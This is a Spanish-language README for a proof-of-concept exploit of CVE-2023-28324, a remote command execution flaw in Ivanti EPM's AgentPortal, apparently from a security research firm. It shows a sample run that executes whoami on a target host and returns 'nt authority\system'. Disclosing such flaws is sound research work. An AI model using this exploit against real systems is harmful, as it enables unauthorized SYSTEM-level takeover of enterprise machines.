
Vulnerabilidad RCE en Ivanti EPM AgentPortal
POC para CVE-2023-28324 que afecta a Ivanti EPM.
Puede encontrar un análisis técnico de la causa raíz de la vulnerabilidad en nuestro blog: https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-28324-deep-dive/
Este POC explota una vulnerabilidad en AgentPortal.exe para ejecutar comandos arbitrarios. Para que este POC funcione,
debe proporcionar sus propias referencias a AgentPortal.exe y APCommon.dll de una instalación de Ivanti EPM.
CVE-2023-28324.exe 192.168.1.21 49668 whoami.exe
Sending request.
Request result: True
Waiting for result.
Waiting for result.
Result: nt authority\system
Este software ha sido creado únicamente con fines de investigación académica y para el desarrollo de técnicas defensivas eficaces, y no está destinado a utilizarse para atacar sistemas salvo autorización expresa. Los mantenedores del proyecto no son responsables del uso indebido del software. Úselo con responsabilidad.